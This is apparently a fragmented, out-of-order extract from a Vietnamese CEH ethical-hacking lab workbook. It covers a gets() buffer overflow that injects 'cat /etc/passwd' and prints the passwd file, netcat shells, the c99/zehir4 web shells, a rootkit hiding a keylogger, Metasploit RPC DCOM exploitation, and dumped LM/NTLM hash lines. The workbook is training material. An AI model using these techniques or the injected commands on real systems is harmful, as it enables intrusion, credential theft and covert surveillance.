-o buffer buffer.c:13:2: warning: no newline at end of file /tmp/ccefevDP.o(.text+0x82): In function `main': : warning: the `gets' function is dangerous and should not be used root@1[Desktop]# /buffer Address of name is 134520840 Address of command is 134520856 What's your name?hao Hello world! root@1[Desktop]# /buffer Address of name is 134520840 Address of command is 134520856 What's your name?1234567890123456cat /etc/passwd root:x:0:0:root:/home/knoppix:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh VSIC Education Corporation Trang 119 www.asterisk.vn Giáo trình tập C|EH Tài liệu dành cho học viên proxy:x:13:13:proxy:/bin:/bin/sh majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh msql:x:36:36:Mini SQL Database Manager:/var/lib/msql:/bin/sh operator:x:37:37:Operator:/var:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/gnats-db:/bin/sh mysql:x:100:103:MySQL Server:/var/lib/mysql:/bin/false postfix:x:102:65534:Postfix Mailsystem:/var/spool/postfix:/bin/false knoppix:x:1000:1000:Kanotix User:/home/knoppix:/bin/bash nobody:x:65534:65534:nobody:/nonexistent:/bin/sh sshd:x:103:65534:SSH Server:/var/run/sshd:/bin/false partimag:x:104:65534::/home/partimag:/bin/false telnetd:x:101:101::/usr/lib/telnetd:/bin/false distccd:x:105:65534::/:/bin/false bind:x:106:108::/var/cache/bind:/bin/false messagebus:x:108:1002::/var/run/dbus:/bin/false captive:x:109:65534::/var/lib/captive:/bin/false sslwrap:x:107:1001::/etc/sslwrap:/bin/false distmp3:x:112:112::/nonexistent:/bin/false saned:x:114:114::/home/saned:/bin/false arpwatch:x:110:116:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh snort:x:111:117:Snort IDS:/var/log/snort:/bin/false thpot:x:113:65534:Security Officer,,,:/usr/share/thpot:/dev/null ftp:x:115:65534::/home/ftp:/bin/false freerad:x:116:118::/etc/freeradius:/bin/false debian-tor:x:119:119::/var/lib/tor:/bin/bash Ta thực thi lệnh cat /etc/passwd thông qua lỗi tràn đệm VSIC Education Corporation Trang 120 www.asterisk.vn [...]... Trong bài thực hành, chúng ta cài thử các tính năng của netcat, beast, c99, zehir4 và phân tích 1 doạn code mẫu trojan II/ Các bài thực hành: Bài 1 Sử dụng netcat: 1/Sử dụng netcat để kết nối shell Trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn –l (listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành 1... http://insec ure.org/nmap/submit/ Nmap finished: 1 IP address (1 host up) scanned in 6.750 seconds Vậy ta có thể đoán được phần nhiều host là Window 2000 Server Ngoài việc thực hành trên chúng ta có thể sử dụng Nmap trace, lưu log v.v Bài thực hành thứ 2: Sử dụng phần mềm Retina để phát hiện các vulnerabilities và tấn công bằng Metaesploit framework Retina của Ieye là phần mềm thương mại(cũng như GFI, shadow... cho admin hệ thộng khó khăn trong việc phát hiện Trong bài thực hành ta sử dụng Fu Rootkit để ẩn process của keylogger ta đã cài ở bài trước, ta sử dụng lệnh “ tasklist” để xem các process chạy trong máy tính VSIC Education Corporation Trang 27 www.asterisk.vn Giáo trình bài tập C|EH Tài liệu dành cho học viên Như ta thấy trên hình, proccess của cehkeyloger.exe có PID là 1236, bây giờ ta sẽ lẩn process... hổng nào đó, hoặc là từ hệ điều hành, hoặc là từ những phần mềm của hãng thứ 3, trong trường hợp này, chúng ta nâng quyền thông qua phần mềm diệt Virus là Kaspersky Lab Để chuẩn bị bài lab này, chúng ta lên trang web www.milw0rm.com để tìm thông tin về đoạn mã khai thác này Sau đó ta sử dụng đoạn code này biên dịch thày file exe để tấn công vào máy nạn nhân Để thực hành bài Lab, ta cần phải cài phần... hao123:1020:58F907D1C79C344DAAD3B435B51404EE:FD03071D41308B58B9DDBC6D 5576D78D::: VSIC Education Corporation Trang 21 www.asterisk.vn Giáo trình bài tập C|EH Tài liệu dành cho học viên haoceh:1016:B3FF8763A6B5CE26AAD3B435B51404EE:7AD94985F28454259BF2A03821 FEC8DB::: hicehclass:1023:B2BEF1B1582C2DC0AAD3B435B51404EE:D6198C25F8420A93301A579 2398CF94C::: IUSR_113SSR3JKXGW3N:1003:449913C1CEC65E2A97074C07DBD2969F:9E6A4AF346F1A1F483... System Name Count 1 Windows Server 2003 1 Như vậy ta đã xác định hệ điều hành của máy 10.100.100.6, các Port mở của hệ thống và các lỗi của hệ thống Đây là thông tin cần thiết để người Admin nhận diện lỗi và vá lỗi Trong Top 20 vulnerabilities ta sẽ khai thác bug lỗi thứ 10 là RPC DCOM bằng chương trinh Metaesploit framework(CD CEH v5) Ta có thể kiểm tra các thông tin lỗi này trên chính trang của Ieye... khoảng 10 phút ta sẽ thấy logfile được gởi về như sau: >> C:\WINDOWS\system32\notepad.exe > Chuc lop SecCEH manh khoe, va nhieu thanh dat > Chuc lop CEH hoc gioi >:::::::::: > ms Ta thấy user “ hao” bây giờ đã có quyền Admin trong hệ thống, và việc nâng quyền đã thành công Các bạn có thể test những phần mềm tường tự từ code down từ trang www.milw0rm.com Bài Lab 4: Sử dụng Keylogger Trong bài lab này, ta sử dụng phần mềm SC Keylogger để thu thập thông tin từ máy